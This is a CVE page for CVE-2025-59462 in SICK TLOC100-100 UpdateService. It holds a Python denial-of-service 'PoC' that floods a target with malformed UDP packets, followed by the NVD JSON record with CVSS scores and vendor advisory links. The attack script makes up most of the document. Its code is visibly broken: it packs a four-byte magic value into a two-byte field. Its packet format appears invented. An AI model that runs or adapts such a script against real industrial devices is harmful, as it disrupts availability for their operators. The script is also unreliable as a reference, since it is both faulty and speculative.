CVE-2025-59462

# CVE-2025-59462 PoC - UpdateService DoS via Traffic Tampering # This PoC demonstrates the concept of exploiting the UpdateService vulnerability # by tampering with file transfer packets import socket import struct import time def create_malformed_packet(seq_num, payload): """Create a malformed UpdateService packet for DoS testing""" # Packet structure (simplified) header = struct.pack('!HH', 0x5355434b, seq_num) # 'SICK' magic + sequence length = len(payload) packet = header + struct.pack('!H', length) + payload return packet def exploit_update_service(target_ip, target_port=8080): """ Exploit CVE-2025-59462 by sending malformed packets during file transfer """ print(f"[*] Starting DoS attack against {target_ip}:{target_port}") print(f"[*] Target: SICK UpdateService CVE-2025-59462") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Malformed payload designed to trigger crash # Contains invalid data that UpdateService cannot handle properly malicious_payload = b'\x00' * 1024 + b'\xFF\xFF\xFF\xFF' + b'INVALID_DATA' seq = 0 packets_sent = 0 try: while packets_sent < 100: packet = create_malformed_packet(seq, malicious_payload) sock.sendto(packet, (target_ip, target_port)) seq = (seq + 1) % 65536 packets_sent += 1 time.sleep(0.1) if packets_sent % 10 == 0: print(f"[*] Sent {packets_sent} malformed packets...") print(f"[!] Attack completed. Sent {packets_sent} packets.") print(f"[!] UpdateService should crash if vulnerable.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Target configuration TARGET_IP = "192.168.1.100" # Replace with actual target IP TARGET_PORT = 8080 print("=" * 60) print("CVE-2025-59462 UpdateService DoS PoC") print("For authorized security testing only") print("=" * 60) exploit_update_service(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2025-59462", "sourceIdentifier": "[email protected]", "published": "2025-10-27T11:15:41.013", "lastModified": "2025-11-03T19:36:56.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker who tampers with the C++ CLI client may crash the UpdateService during file transfers, disrupting updates and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sick:tloc100-100_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "5741B085-0E6E-4A6B-8188-1C1252B1A596"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sick:tloc100-100:-:*:*:*:*:*:*:*", "matchCriteriaId": "224B60BD-6A7D-410A-A72E-18D0E669A39C"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0013.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0013.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}